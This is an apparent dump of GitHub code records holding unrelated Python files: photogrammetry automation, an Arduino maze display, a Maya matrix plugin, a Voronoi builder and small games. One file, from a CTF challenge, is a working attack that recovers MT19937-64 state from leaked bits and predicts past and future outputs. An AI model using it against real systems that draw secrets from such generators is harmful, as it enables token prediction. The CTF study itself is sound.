(fileName)\n                try:\n                    os.remove(fileName)\n                except:\n                    pass\n    return\n\ndef old_project_name(project):\n    \"\"\"\n    delete old projects and create name for new\n    ---------------\n    parameters \n    project - str - path to 1.3 project\n    ---------------\n    return\n    str - path to 1.0 project on C drive\n    \"\"\"\n    \n    pathExport = os.path.join(os.environ[\"TMP\"] + \"Projects\")\n    if not os.path.exists(pathExport):\n        os.makedirs(pathExport)\n    delete_old_projects(os.environ[\"TMP\"])\n    pathExport = os.path.join(pathExport, os.path.basename(project)[:-4] + 'v1.psz')\n    return pathExport \n\n\ndef re_build_project(flight_id, field_id, typecam):\n    \"\"\"\n    rebuild project for 1.3\n    to fix 80% such artefacts as stalactide, blobls\n    \"\"\"\n    open_p(flight_id, field_id, typecam)\n    doc = PhotoScan.app.document\n    chunk = doc.chunk\n    # reset all camera\n    for camera in chunk.cameras:\n        camera.transform = None\n        # camera.enabled = True\n    # image matching and alignment\n    chunk.matchPhotos(accuracy=PhotoScan.HighestAccuracy, generic_preselection=True,\n                     reference_preselection=True, keypoint_limit=1000,tiepoint_limit=0)\n    chunk.alignCameras(adaptive_fitting=False)\n    aligned_photos = []\n    for camera in chunk.cameras:\n        if camera.transform==None:\n            aligned_photos.append(camera)\n    if len(aligned_photos)>0:\n        chunk.alignCameras(aligned_photos,adaptive_fitting=False)\n    point_cloud = PhotoScan.PointCloud\n    filter = point_cloud.Filter()\n    filter.init(chunk, filter.ReconstructionUncertainty)\n    filter.removePoints(25)\n    chunk.optimizeCameras()\n    filter.removePoints(25)\n    chunk.resetRegion()\n    chunk.buildModel(surface=PhotoScan.HeightField, interpolation=PhotoScan.EnabledInterpolation)\n    chunk.smoothModel(1)\n    # chunk.buildOrthomosaic(surface = PhotoScan.DataSource.ModelData, blending= PhotoScan.AverageBlending)\n    #chunk.crs.project(chunk.transform.matrix.mulp(chunk.region.center)) пременить к центрам снимков\n    doc.save()\n    \n    return\n\n\n\n\n\n\n\ndef fix_st(flight_id, field_id, typecam = \"jenoptik\",exportfolder = False,replace = True):\n    \"\"\"\n    after re-build 1.3 project\n    re-save in 1.0 to avoide seams\n    ------------------------------\n    Parameters\n    ----------\n    flight_id : int\n    field_id : int or str\n    camera : str by default jenoptik\n\n    Returns\n    mosaic images\n    \"\"\"\n    if exportfolder == False:\n        exportfolder = 'C:\\Daily artifacts\\Daily artifacts\\Flight {}'.format(flight_id)\n        \n    field_id = check_tr_if_present(flight_id, field_id, typecam, exportfolder, replace)\n    if len(field_id) == 0:\n        return \"All project already done\"\n    \n    for field in field_id:\n        errormesage = []\n        try:\n            re_build_project(flight_id, field, typecam)\n        except Exception as e:\n            errormesage.append(e)\n            field_id = list(set(field_id) - set([field]))\n    if len(field_id) == 0:\n        return errormesage\n    \n    save_old_v(flight_id, field_id, typecam, exportfolder)\n    return\n    \n\n\ndef path_to_txt (txtpath, projectpath):\n    \"\"\"\n    create txt file with path to photoscan 1.0 project\n    \"\"\"\n    f= open(txtpath,\"w+\")\n    \n    json.dump(projectpath,f)\n    \n    f.close\n    return txtpath\n\n\n\n\ndef export_path_to_txt(folder,exportpath):\n    \"\"\"\n    Parameters\n    -------------------------------------\n    folder - str - path to user folder to save new txt\n    exportpath - str - path to folder for export mosaics\n    \"\"\"\n    txtpath = os.path.join(folder,\"mosaicexport.txt\")\n    f= open(txtpath,\"w+\")\n    f.write(exportpath)\n    f.close\n    return txtpath\n    \n    \n\ndef open_p(flight_id, field_id, camera = \"jenoptik\"):\n    \"\"\"\n    Find and open Photoscan 1.3 porject\n\n    Parameters\n    ----------\n    flight_id : int\n    field_id : int or str\n    camera : str by default jenoptik\n    \"\"\"\n    project = get_project_filename(flight_id, field_id, camera)\n    doc = PhotoScan.app.document\n    doc.open(project)\n    return project\n\n\n\ndef get_old_version(flight_id, field_id, camera = \"jenoptik\"):\n    \"\"\"\n    Parameters\n    ----------\n    flight_id : int\n    field_id : int or str\n    camera : str by default jenoptik\n\n    Returns\n    -------\n    path to save project\n    \"\"\"\n    project = get_project_filename(flight_id, field_id, camera)\n    doc = PhotoScan.app.document\n    doc.open(project)\n    path = old_project_name(project)\n    doc.save(path ,version = '1.0.0')\n    #if save only one time it doesn't work\n    doc.save(path ,version = '1.0.0')\n    return path\n    \n\n\n\ndef check_tr_if_present(flight_id, field_id, camera, exportfolder,replace = True):\n    \"\"\"\n    check if tr image already present\n    if replace = True delete this image\n    if yes delete from list for re-save project\n    \n    \"\"\"\n    \n    if type(field_id).__name__ != \"list\":\n        field_id = str(field_id).split(\"delimiter\")\n    flightdircontents = glob.glob(exportfolder + '/*.tif')\n    for field in field_id:\n        try:\n            project = get_project_filename(flight_id, field, camera)\n        except Exception as e:\n            print(e)\n            \n            \n        for file in flightdircontents:\n            if fnmatch.fnmatch(file, \"*{}*\".format(os.path.basename(project)[:-4])):\n                if replace:\n                    try:\n                        os.remove(file)\n                        continue\n                    except Exception as e:\n                        continue\n                        print (e)\n                        \n                field_id = list(set(field_id) - set([field]))\n                \n    return field_id\n    \n    \n    \n    \n    \n    \n    \n    \n\n\ndef save_old_v(flight_id, field_id, camera = \"jenoptik\", exportfolder = False,replace = False):\n    \n    \"\"\"\n    Re-save project to 1.0 version of Photoscan, helpful when we have a seams on TR\n\n    Parameters\n    ----------\n    flight_id : int\n    field_id : int or str\n    camera : str by default jenoptik\n\n    Returns\n    -------\n    project 1.0\n\n    \"\"\"\n    #rezerv = field_id.copy()\n    # copy scipt and get path to save information about project\n    txtsaveproj = check_user_script()\n    if exportfolder:\n        export_path_to_txt(os.path.dirname(txtsaveproj),exportfolder)\n    else:\n        exportfolder = 'C:\\Daily artifacts\\Daily artifacts\\Flight {}'.format(flight_id)\n    \n    # check if precent id if and return list of id \n    try:\n        rezerv = check_tr_if_present(flight_id, field_id, camera, exportfolder , replace)\n        field_id = rezerv \n    except Exception as e:\n        print (e)\n    if len(field_id) == 0:\n        return \"All project already done\"\n    \n    \n    path = []\n    # create list of pathes to delete these projects after process fill be finished\n    patholdprojects = []\n    failids = []\n    \n    for field in field_id:\n        try:\n            old_pr = get_old_version(flight_id, field, camera)\n            projectinfo = {\n                    'ProjectPath': old_pr,\n                    'Flight_id' : flight_id,\n                    'Field': field,\n                    'Camera': camera\n                    }\n            patholdprojects.append(old_pr)\n            path.append(projectinfo)\n             \n        except Exception as e:\n            field_id = list(set(field_id) - set([field]))\n            failids.append(field)\n            er = e\n        \n    if len(path) == 0:\n        return er\n    \n    path_to_txt(txtsaveproj,path)\n    subprocess.call([\"C:\\Program Files\\Agisoft\\PhotoScan Pro 1.0\\PhotoScan Pro 1.0\\photoscan.exe\"])\n    for pr in patholdprojects:\n        os.remove(pr)\n    message = \"Re-export for flight : {} , field : {} complete\".format(flight_id, str(field_id))\n    if len(failids) != 0:\n        message = \"Re-export for flight : {} , field : {} complete \\n Failed export for flied {}\".format(flight_id, str(field_id),str(failids))\n    PhotoScan.app.messageBox(message)\n    \n    \n    return \n\n\n","repo_name":"AlexIvanov9/ReExportMosaics","sub_path":"mosaic_s_arh.py","file_name":"mosaic_s_arh.py","file_ext":"py","file_size_in_byte":9448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17404484396","text":"from generator import *\nimport ardsolve\nimport serial\nimport time\n\n\n#customize maze\n#should be set to the exact size of the led board\n\n#horizontal cells\nxCells = 7\n\n#vertical cells\nyCells = 7\n\n#draw delay (in seconds)\ndspeed = 0.25\n\n#wait time (in seconds)\nwaitime = 2\n\nwhile (True):\n    maze = newMaze(int(xCells), int(yCells))\n    arduino = serial.Serial(port='COM8', baudrate=460800, timeout=.1)\n    arduino.write(bytes('CLEAR\\n', 'utf-8'))\n\n    for i in range(1 + xCells * 2):\n        for j in range(1 + yCells * 2):\n            if maze[i][j].wall:\n                (r,g,b) = (48, 0, 0)\n            else:\n                (r,g,b) = (0, 0, 0)\n            send = 'SET %03d %03d %03d %03d %03d\\n'%(i,j,r,g,b)\n            arduino.write(bytes(send, 'utf-8'))\n    \n    # Make entry green\n    arduino.write(bytes('SET 001 000 000 048 000\\n', 'utf-8'))\n    # Make exit blue\n    arduino.write(bytes('SET 013 014 000 000 048\\n', 'utf-8'))\n    arduino.write(bytes('PRINT\\n'.encode()))\n\n    solvedMaze = ardsolve.solveMaze(maze)\n\n    for c in reversed(solvedMaze):\n        y, x = c\n        sendsolve = 'SET %03d %03d 000 048 000\\n'%(x,y)\n        arduino.write(bytes(sendsolve, 'utf-8'))\n        arduino.write(bytes('PRINT\\n'.encode()))\n        time.sleep(dspeed)\n\n    # Make exit green when found\n    arduino.write(bytes('SET 013 014 000 048 000\\n', 'utf-8'))\n    arduino.write(bytes('PRINT\\n'.encode()))\n\n\n\n\n    time.sleep(waitime)\n    arduino.close()\n\n","repo_name":"Nuety/Python-Maze","sub_path":"Core/ardlabtyrinth/ardcontroller.py","file_name":"ardcontroller.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"42276490776","text":"\"\"\"mirrorMatrix node plugin for Maya\"\"\"\nimport sys\nimport maya.OpenMaya as OpenMaya\nimport maya.OpenMayaMPx as OpenMayaMPx\nimport math\n\nNODE_NAME = 'mirrorMatrix'\nNODE_ID = OpenMaya.MTypeId(0x0012F1C0)\n\nAUTHOR = 'Will Telford'\nVERSION = '1.0'\nAPI_VERSION = 'Any'\n\n\nclass node(OpenMayaMPx.MPxNode):\n    \"\"\"\n    Defines the Maya dependency node.\n    \"\"\"\n\n    def __init__(self):\n        \"\"\"Init function.\"\"\"\n        OpenMayaMPx.MPxNode.__init__(self)\n\n    def compute(self, plug, data):\n        \"\"\"Recompute the given output based on the nodes inputs.\"\"\"\n        space = OpenMaya.MSpace.kWorld\n        matrix1Handle = data.inputValue(node.matrixIn)\n        m1 = OpenMaya.MTransformationMatrix(matrix1Handle.asMatrix())\n\n        matrix2Handle = data.inputValue(node.planeMatrix)\n        m2 = OpenMaya.MTransformationMatrix(matrix2Handle.asMatrix())\n\n        mode = data.inputValue(node.mode).asShort()\n        flipAxis = data.inputValue(node.flipAxis).asShort()\n        planeNormal = data.inputValue(node.planeNormal).asDouble3()\n        planeNormal = OpenMaya.MVector(planeNormal[0], planeNormal[1],\n                                       planeNormal[2])\n        planeNormal.normalize()\n\n        # establish mirror plane orientation\n        xVec = OpenMaya.MVector.xAxis\n        rot = xVec.rotateTo(planeNormal)\n        m2.rotateBy(rot, OpenMaya.MSpace.kObject)\n\n        # create -1 X scale matrix\n        valueList = [-1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1]\n        mNegX = OpenMaya.MMatrix()\n        OpenMaya.MScriptUtil.createMatrixFromList(valueList, mNegX)\n\n        # calculate base reflection matrix\n        reflectMatrix = m1.asMatrix() * m2.asMatrix().inverse(\n        ) * mNegX * m2.asMatrix()\n\n        # modify reflection matrix to repersent the correct mode\n        mirrorMatrix = reflectMatrix\n        if mode == 0:\n            behaviorMatrix = mNegX * reflectMatrix\n            mirrorMatrix = behaviorMatrix\n        elif mode == 1:\n            newTMat = m1\n            tran = OpenMaya.MTransformationMatrix(\n                reflectMatrix).getTranslation(space)\n            newTMat.setTranslation(tran, space)\n            orientationMatrix = newTMat.asMatrix()\n            mirrorMatrix = orientationMatrix\n\n        # apply 180 degree flip to chosen axis\n        valueList = [1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1]\n        if flipAxis == 1:\n            valueList = [1, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 1]\n        elif flipAxis == 2:\n            valueList = [-1, 0, 0, 0, 0, 1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 1]\n        elif flipAxis == 3:\n            valueList = [-1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1]\n        flipMatrix = OpenMaya.MMatrix()\n        OpenMaya.MScriptUtil.createMatrixFromList(valueList, flipMatrix)\n\n        # set output matrix\n        outputMatrix = flipMatrix * mirrorMatrix\n        hOutput = data.outputValue(node.aOutput)\n        hOutput.setMMatrix(outputMatrix)\n        hOutput.setClean()\n\n        data.setClean(plug)\n\n\n# creates the object for maya/\ndef Creator():\n    \"\"\"Function that returns an instance of the class\"\"\"\n    return OpenMayaMPx.asMPxPtr(node())\n\n\ndef initialize():\n    \"\"\"Will initialize all the attributes of the new node type\"\"\"\n    nAttr = OpenMaya.MFnNumericAttribute()\n    mAttr = OpenMaya.MFnMatrixAttribute()\n    eAttr = OpenMaya.MFnEnumAttribute()\n\n    # Create the output attribute for the node\n    node.aOutput = mAttr.create('outputMatrix', 'outM')\n    mAttr.setWritable(False)\n    mAttr.setStorable(False)\n\n    # Add output to the node\n    node.addAttribute(node.aOutput)\n\n    # Create input Attributes\n    node.matrixIn = mAttr.create('matrixIn', 'matrixIn')\n    node.planeMatrix = mAttr.create('planeMatrix', 'planeMatrix')\n\n    node.flipAxis = eAttr.create('flipAxis', 'flipAxis')\n    eAttr.setKeyable(True)\n    eAttr.addField('None', 0)\n    eAttr.addField('X Axis', 1)\n    eAttr.addField('Y Axis', 2)\n    eAttr.addField('Z Axis', 3)\n\n    node.mode = eAttr.create('mode', 'mode')\n    eAttr.setKeyable(True)\n    eAttr.addField('Behavior', 0)\n    eAttr.addField('Orientation', 1)\n    eAttr.addField('Reflect', 2)\n\n    node.planeNormalX = nAttr.create(\"planeNormalX\", \"planeNormalX\",\n                                     OpenMaya.MFnNumericData.kDouble, 1.0)\n    node.planeNormalY = nAttr.create(\"planeNormalY\", \"planeNormalY\",\n                                     OpenMaya.MFnNumericData.kDouble, 0.0)\n    node.planeNormalZ = nAttr.create(\"planeNormalZ\", \"planeNormalZ\",\n                                     OpenMaya.MFnNumericData.kDouble, 0.0)\n    node.planeNormal = nAttr.create(\"planeNormal\", \"planeNormal\",\n                                    node.planeNormalX, node.planeNormalY,\n                                    node.planeNormalZ)\n    nAttr.setKeyable(True)\n\n    inputAttrs = [\n        node.mode, node.flipAxis, node.planeNormal, node.matrixIn,\n        node.planeMatrix\n    ]\n    for inputAttr in inputAttrs:\n        # Add input Attributes\n        node.addAttribute(inputAttr)\n\n        # Define what is input and what is output\n        node.attributeAffects(inputAttr, node.aOutput)\n\n\ndef initializePlugin(obj):\n    \"\"\"Registers all of the services that this plugin provides with Maya.\n\n    Arguments:\n        obj {mobject} -- a handle to the plug-in object (use MFnPlugin to access it)\n    \"\"\"\n    mplugin = OpenMayaMPx.MFnPlugin(obj, AUTHOR, VERSION, API_VERSION)\n    mplugin.registerNode(NODE_NAME, NODE_ID, Creator, initialize)\n\n\ndef uninitializePlugin(obj):\n    \"\"\"Deregisters all of the services that this plugin provided from Maya.\n\n    Arguments:\n        obj {mobject} -- a handle to the plug-in object (use MFnPlugin to access it)\n    \"\"\"\n    mplugin = OpenMayaMPx.MFnPlugin(obj)\n    mplugin.deregisterNode(NODE_ID)\n","repo_name":"wtelford/maya-python-plugins","sub_path":"mirror_matrix.py","file_name":"mirror_matrix.py","file_ext":"py","file_size_in_byte":5734,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"60"}
+{"seq_id":"70530807551","text":"from mt19937_64 import MT19937_64\nfrom bitarray import bitarray\nfrom tqdm import tqdm\nfrom sage.all import *\n\nMATRIX_FILE = 'mt19937_64_matrix'\nlength = 19968\n\ndef load_matrix():\n    m = matrix(GF(2), length, length)\n    print(\"Loading matrix...\")\n    with open(MATRIX_FILE, 'rb') as f:\n        for row in tqdm(range(length)):\n            bit_arr = bitarray()\n            bit_arr.fromfile(f, length//8)\n            m[row] = bit_arr.tolist()\n    return m\n\nm = load_matrix()\n\n#Solve the linear equations\ndef reverse_state(leak):\n    print(\"Solving linear relationship...\")\n    x = m.solve_left(vector(GF(2), leak))\n    x = ''.join([str(i) for i in x])\n    state = []\n    for i in range(312):\n        state_i = int(x[i*64:(i+1)*64], 2)\n        state.append(state_i)\n    return state\n\n#As the matrix is not full rank, we need to guess 32 bits of the state bits.\n#This could be done by using the state[311] it contains the information of least 31 bits of state[0]\ndef get_state0(leak, state):\n    low = 0x7FFFFFFF\n    mask = 0xB5026F5AA96619E9\n    tmp = state[311] ^ state[155]\n    if tmp >> 63 == 1:\n        tmp ^= mask\n        tmp <<= 1\n        tmp += 1\n    else:\n        tmp <<= 1\n\t\t\n    guess = [tmp & low | (1 << 31), tmp & low]\n    rng = MT19937_64(0)\n    \n    state[0] &= 0xFFFFFFFF00000000\n    state[0] |= guess[0]\n    rng.setstate(state + [0])\n    \n    guess_result = [rng.getrandbits(1) for _ in range(length)]\n    if guess_result == leak:\n        return\n    \n    state[0] &= 0xFFFFFFFF00000000\n    state[0] |= guess[1]\n    rng.setstate(state + [0])\n    \n    guess_result = [rng.getrandbits(1) for _ in range(length)]\n    if guess_result == leak:\n        return\n    \n    raise Exception(\"No state 0 found!\")\n\n\n#Showcase\ndef get_leak():\n    rng = MT19937_64(0)\n    prefix = [rng.getrandbits(1) for _ in range(100)]\n    leak = [rng.getrandbits(1) for _ in range(length)]\n    to_predict = [rng.getrandbits(1) for _ in range(length*3)]\n    return leak, prefix, to_predict\n\ndef main():\n    leak, prefix, ans = get_leak()\n    rev_state = reverse_state(leak)\n    get_state0(leak, rev_state)\n\n    rng = MT19937_64(0)\n    rng.setstate(rev_state + [0])\n\n    predict_prefix = [rng.getrandbits(1, reverse = True) for _ in range(100)][::-1]; [rng.getrandbits(1) for _ in range(100)]\n    leaked = [rng.getrandbits(1) for _ in range(length)]\n    predict = [rng.getrandbits(1) for _ in range(length*3)]\n\n    print(predict == ans)\n    print(predict_prefix == prefix)\n\nif __name__ == '__main__':\n    main()\n","repo_name":"blackb6a/blackb6a-ctf-2023-challenges","sub_path":"02-quantum-flip/src/original_crack/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":2494,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"60"}
+{"seq_id":"34819323976","text":"import os\n\nfrom derobertis_project_logo.logo import Logo\n\n\nclass ProjectLogo:\n\n    def __init__(self, name: str, logo: Logo):\n        self.name = name\n        self.logo = logo\n\n    def rst(self, images_folder: str, width: float = 700):\n        image_path = os.path.join(images_folder, f'{self.name}.svg')\n        rst = f\"\"\"\n{self.name} Logo\n============================================================================\n\n.. image:: {image_path}\n    :width: {width}\n    :alt: Logo for {self.name}\n        \"\"\".strip()\n        return rst\n","repo_name":"nickderobertis/derobertis-project-logo","sub_path":"derobertis_project_logo/project_logo.py","file_name":"project_logo.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15169142811","text":"# --- Rock Paper Scissors ---\n# 100 days of code Python\n# Pandu Purwadi \n\nimport random\n\nrock = '''\n    _______\n---'   ____)\n      (_____)\n      (_____)\n      (____)\n---.__(___)\n'''\n\npaper = '''\n    _______\n---'   ____)____\n          ______)\n          _______)\n         _______)\n---.__________)\n'''\n\nscissors = '''\n    _______\n---'   ____)____\n          ______)\n       __________)\n      (____)\n---.__(___)\n'''\n\ngame_image = [rock, paper, scissors]\n\nuser_choice = int(input(\"What do you choose? Type 0 for Rock, 1 for Paper or 2 for Scissors\\n\"))\n\n\ncomputer_choice = random.randint(0, 2)\n\nif user_choice >= 3 or user_choice < 0:\n    print(\"You input wrong number, you lose\")\nelse :\n    print(game_image[user_choice])\n    print(\"Computer Chose :\")\n    print(game_image[computer_choice])\n    \n    if user_choice == 0 and computer_choice == 2 :\n        print(\"You win!\")\n    elif computer_choice == 0 and user_choice == 2 :\n        print(\"You lose\")\n    elif computer_choice > user_choice :\n        print(\"You lose\")\n    elif user_choice > computer_choice :\n        print(\"You win!\")\n    elif user_choice == computer_choice:\n        print(\"Draw!\")\n    \n\n","repo_name":"pandupurwadi18/rock_paper_scissors","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"883362504","text":"from World.Object.Constants.UpdateObjectFields import ObjectField, UnitField\nfrom World.WorldPacket.UpdatePacket.Builders.UpdatePacketBuilder import UpdatePacketBuilder\nfrom World.Object.Unit.NPC.Beast.Beast import Beast\n\n\nclass NPCSpawn(object):\n\n    SPAWN_FIELDS = [\n        # Object fields\n        ObjectField.GUID,\n        ObjectField.TYPE,\n        ObjectField.SCALE_X,\n\n        # Unit fields\n        UnitField.HEALTH,\n        UnitField.MAXHEALTH,\n        UnitField.LEVEL,\n        UnitField.FACTIONTEMPLATE,\n        UnitField.BYTES_0,\n        UnitField.FLAGS,\n        UnitField.AURA,\n        UnitField.AURAFLAGS,\n        UnitField.AURALEVELS,\n        UnitField.BASEATTACKTIME,\n        UnitField.OFFHANDATTACKTIME,\n        UnitField.RANGEDATTACKTIME,\n        UnitField.BOUNDINGRADIUS,\n        UnitField.COMBATREACH,\n        UnitField.DISPLAYID,\n        UnitField.NATIVEDISPLAYID,\n        UnitField.MINDAMAGE,\n        UnitField.MAXDAMAGE,\n        UnitField.MOD_CAST_SPEED,\n        UnitField.STAT0,\n        UnitField.STAT1,\n        UnitField.STAT2,\n        UnitField.STAT3,\n        UnitField.STAT4,\n        UnitField.RESISTANCE_NORMAL,\n        UnitField.BASE_HEALTH,\n        UnitField.BYTES_2,\n        UnitField.ATTACK_POWER,\n        UnitField.RANGED_ATTACK_POWER,\n        UnitField.MINRANGEDDAMAGE,\n        UnitField.MAXRANGEDDAMAGE,\n    ]\n\n    def __init__(self, packet: bytes):\n        self.packet = packet\n        self.update_packet_builder = UpdatePacketBuilder()\n\n    async def process(self):\n        beast = Beast()\n","repo_name":"idewave/idewave-core","sub_path":"World/Object/Unit/NPC/NPCSpawn.py","file_name":"NPCSpawn.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"}
+{"seq_id":"14766385325","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport itertools as itt\nfrom Circle import getCircle\nimport time\n\n\nclass Voronoi():\n    \"\"\"\n    This class if for build a Voronoi lattice.\n    \"\"\"\n    def __init__(self, row, col):\n        \"\"\"\n        初始化Voronoi\n        :param row: The number of boundary square in row.\n        :param col:The number of boundary square in column\n        \"\"\"\n        self.row = row\n        self.col = col\n\n    def random_sites(self, min_distance):\n        \"\"\"\n        Return a dictionary of each lattice site and their coordinate.\n        :param min_distance Define the minor distance from neighbor sites.\n        :return random_sites_2d With the format of {(0, 0): (x0, y0), (0, 1): (x0, y1), (0, 2): (x0, y2), ...}\n        random_sites_1d With the format of {0: (x0, y0), 1: (x0, y1), 2:(x0, y2), ...}\n        random_1d_2d With the format of {0: (0, 0), 1: (0, 1), 2: (0, 2), ...}\n        \"\"\"\n        random_sites_2d = {}\n        random_sites = {}\n\n        for i in range(self.row):\n            for j in range(self.col):\n                distance_min = 0.0\n                while distance_min < min_distance:\n                    random_sites_2d[(i, j)] = (np.random.rand()+j, np.random.rand()+i)\n                    distance_list = []\n                    for position_j in random_sites_2d.keys():\n                        if position_j != (i, j):\n                            distance_list.append(np.sqrt((random_sites_2d[position_j][0] -\n                                                          random_sites_2d[(i, j)][0]) ** 2 +\n                                                         (random_sites_2d[position_j][1] - random_sites_2d[(i, j)][1])\n                                                         ** 2))\n                    if distance_list == []:\n                        break\n                    if distance_list:\n                        distance_min = np.min(distance_list)\n                        if distance_min > min_distance:\n                            break\n\n        # 按照 random_sites_1d {0: (x0, y0), 1: (x0, y1), 2: (x0, y2), ...} 的格式将数据进行存储\n        # 按照 random_1d_2d {0: (0, 0), 1: (0, 1), 2: (0, 2), 3: (0, 3), ...} 的格式存储 1d 到 2d 索引的对应关系\n\n        random_1d_index = []\n        random_1d_key = []\n        random_1d_val = []\n\n        for i in range(len(random_sites_2d)):\n            random_1d_index.extend([i])\n        for key in random_sites_2d.keys():\n            random_1d_key.extend([key])\n        for val in random_sites_2d.values():\n            random_1d_val.extend([val])\n\n        random_1d_2d = dict(zip(random_1d_index, random_1d_key))\n        random_sites_1d = dict(zip(random_1d_index, random_1d_val))\n\n        return random_sites_2d, random_sites_1d, random_1d_2d\n\n    def direct_lattice_2d(self, random_sites):\n        \"\"\"\n        Return a dictionary of all the direct lattice's match-points (three points in a triangle)\n        and the triangle's center of the circle.\n        {[(x1, y1), (x2, y2), (x3, y3)]: (c_x1, c_y1), [(xi, yi), (xj, yj), (xk, yk)]: (c_xi, c_yi), ...}\n        \"\"\"\n        indexs = []\n        for index in random_sites.keys():\n            indexs.append(index)\n\n        potential_neighbors = list(itt.permutations(indexs, 3))  # 这里不能使用 itertools.combinations()，这里还必须得要能重复的才行\n        # print(potential_neighbors[:3])\n        nearest_neighbors_2d = {}\n        for triangle in potential_neighbors:\n            # print(triangle[0])\n            (xi, yi) = random_sites[triangle[0]]\n            (xj, yj) = random_sites[triangle[1]]\n            (xk, yk) = random_sites[triangle[2]]\n            p1, p2, p3 = (xi, yi), (xj, yj), (xk, yk)\n            (x0, y0), r = getCircle(p1, p2, p3)\n            dist = []\n            for site in random_sites.values():\n                # print('site0: ', site[0])\n                dist.append(np.sqrt((site[0] - x0) ** 2 + (site[1] - y0) ** 2))\n            dist_min = np.min(dist)\n            if dist_min < r:\n                continue\n            else:\n                nearest_neighbors_2d[(xi, yi), (xj, yj), (xk, yk)] = (x0, y0)\n\n        return nearest_neighbors_2d\n\n    def direct_lattice_1d(self, random_sites_1d):\n        \"\"\"\n        Return a dictionary of all the direct lattice's match-points (three points in a triangle) with 1-d index\n        and the triangle's center of the circle.\n        {[1, 2, 3]: (c_x1, c_y1), [i, j, k]: (c_xi, c_yi), ...}\n        \"\"\"\n        indexs = []\n        for index in random_sites_1d.keys():\n            indexs.append(index)\n\n        potential_neighbors = list(itt.permutations(indexs, 3))  # 这里不能使用 itertools.combinations()，这里还必须得要能重复的才行\n        # print('Length of potential_neighbors', len(potential_neighbors))\n        nearest_neighbors_1d = {}\n        for triangle in potential_neighbors:\n            # print(triangle[0], triangle[1], triangle[2])\n            p1 = random_sites_1d[triangle[0]]\n            p2 = random_sites_1d[triangle[1]]\n            p3 = random_sites_1d[triangle[2]]\n            (x0, y0), r = getCircle(p1, p2, p3)\n            dists = []\n            for site in random_sites_1d.values():\n                # print('site0: ', site[0])\n                dists.extend([np.sqrt((x0 - site[0]) ** 2 + (y0 - site[1]) ** 2)])\n            dist_min = np.min(dists)\n            if dist_min >= r:\n                nearest_neighbors_1d[(triangle[0], triangle[1], triangle[2])] = (x0, y0)\n        # 这一段执行完之后仍然有问题，有一些非常离谱的圆心坐标，不知道是不是正常的，从数量上来说倒没有那么离谱的多，只是有的圆心甚至上千，很疑惑\n\n        return nearest_neighbors_1d\n\n    def voronoi_lattice(self):\n\n        pass\n\n    def calculate_lij(self, lattice_sites, nearest_neighbors):\n        \"\"\"\n        Calculate the necessary part lij of the wij.\n        :param lattice_sites: A dictionary with all lattice sites and their coordinates.\n        :param nearest_neighbors: A dictionary with every point in a triangle and its circle center.\n        :return: lij_dict A dictionary with all lij and their length with a format of\n        {((0, 0), (0, 1)): dist1, ((0, 0), (1, 0)): dist2, ...}\n        \"\"\"\n        lij_dict = {}\n        indexss = []\n        for indexs in nearest_neighbors.keys():\n            indexss.append(indexs)\n\n        # point = (0, 0)\n        for triangle in indexss:\n            l1 = np.sqrt((lattice_sites[triangle[0]][0] - lattice_sites[triangle[1]][0]) ** 2 +\n                         (lattice_sites[triangle[0]][1] - lattice_sites[triangle[1]][1]) ** 2)\n            lij_dict[(triangle[0], triangle[1])] = l1\n            # lij[(triangle[1], triangle[0])] = l1\n            l2 = np.sqrt((lattice_sites[triangle[0]][0] - lattice_sites[triangle[2]][0]) ** 2 +\n                         (lattice_sites[triangle[0]][1] - lattice_sites[triangle[2]][1]) ** 2)\n            lij_dict[(triangle[0], triangle[2])] = l2\n            # lij[(triangle[2], triangle[0])] = l2\n\n        return lij_dict\n\n    def calculate_fij(self, nearest_neighbors):\n        \"\"\"\n        Each line has a fij or fji\n        :param nearest_neighbors: The nearest_neighbors from function direct_lattice with a format of\n        {[(x1, y1), (x2, y2), (x3, y3)]: (c_x1, c_y1), [(xi, yi), (xj, yj), (xk, yk)]: (c_xi, c_yi), ...}\n        :return: fij_dict triangle near the line with format of {((0, 0), (0, 1)): ((tri0), (tri1)), ...}\n        \"\"\"\n        fij_dict = {}\n\n\n        return fij_dict\n\n\nif __name__ == '__main__':\n    start_time = time.time()\n    row = 8\n    col = 8\n    vor = Voronoi(row, col)\n    random_sites_2d, random_sites_1d, random_1d_2d = vor.random_sites(0.2)\n    print(f\"The random sites are: {random_sites_2d} \\nThe number of random sites is: {len(random_sites_2d)}\")\n    nearest_neighbors = vor. direct_lattice_1d(random_sites_1d)\n\n    # nearest_neighbors = vor.direct_lattice_2d(random_sites_2d)\n    print(f\"\\nThe nearest neighbors: {nearest_neighbors}\")\n    print('The length of nearest neighbors: ', len(nearest_neighbors))\n    # num = len(nearest_neighbors)\n    # print(f\"The nearest number is: {num}\")\n    # end_time = time.time()\n    # print(f\"\\nTime: {end_time - start_time}\")\n\n","repo_name":"Jiky-Wang/Uniform_model","sub_path":"My_Model/Voronoi.py","file_name":"Voronoi.py","file_ext":"py","file_size_in_byte":8250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
